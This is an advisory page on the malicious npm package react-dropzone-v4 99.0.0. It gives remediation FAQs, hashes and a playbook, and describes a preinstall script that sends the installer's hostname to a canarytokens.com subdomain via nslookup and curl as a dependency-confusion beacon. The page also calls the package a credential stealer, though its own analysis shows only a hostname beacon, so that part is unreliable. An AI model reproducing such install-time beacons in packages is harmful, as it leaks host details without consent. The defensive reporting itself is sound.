Which versions of react-dropzone-v4 are malicious?

The following npm versions of react-dropzone-v4 are flagged malicious: 99.0.0. Treat any of these as compromised.

How do I remediate react-dropzone-v4 if I installed it?

react-dropzone-v4 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed react-dropzone-v4 — how do I know if it already compromised me?

If react-dropzone-v4 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is react-dropzone-v4 part of a known attack campaign?

Yes — react-dropzone-v4 is associated with the IN-MAL-2026-021443 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find react-dropzone-v4 across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for react-dropzone-v4 (version 99.0.0).

Malicious package

react-dropzone-v4npm

Advisory published Oct 11, 2026Updated Oct 11, 2026

react-dropzone-v4 is a confirmed malicious npm package (MAL-2026-17758) that steals credentials and exfiltrates sensitive data (malicious version 99.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in react-dropzone-v4 (npm)

MAL-2026-17758

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall react-dropzone-v4

What this malware does

The package's package.json declares a preinstall lifecycle script that runs automatically on npm install. The script performs an nslookup of $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com and a curl GET to http://hzbvy3cmgred066nig6n3ux0y.canarytokens.com/$(hostname), causing the installer's hostname to be transmitted to a third-party canarytokens.com subdomain via DNS and plaintext HTTP without consent. The package name mimics the popular react-dropzone library and uses an inflated version number (99.0.0) characteristic of dependency-confusion attacks that aim to win resolution against an internal package of the same name. The package provides no legitimate functionality; its only install-time effect is the out-of-band beacon identifying hosts that resolved and installed it.

The OpenSSF Package Analysis project identified 'react-dropzone-v4' @ 99.0.0 (npm) as malicious.

It is considered malicious because:

The package communicates with a domain associated with malicious activity.

Malicious versions

1 flagged

99.0.0

Indicators of compromise (SHA-256)

a198afa2f10e287b1c9d5f196f5ca43288ccf306b9dc753a4d04221c3c91f76b

28267e7286151b52836170e94617afcb3c49d17424f7b7ea9fab480c6e008c7c

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for react-dropzone-v4 (version 99.0.0).
If you installed it — respond
react-dropzone-v4 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If react-dropzone-v4 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. react-dropzone-v4 on npm has been identified as a malicious package (version 99.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021443

References

npmjs.com

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks react-dropzone-v4-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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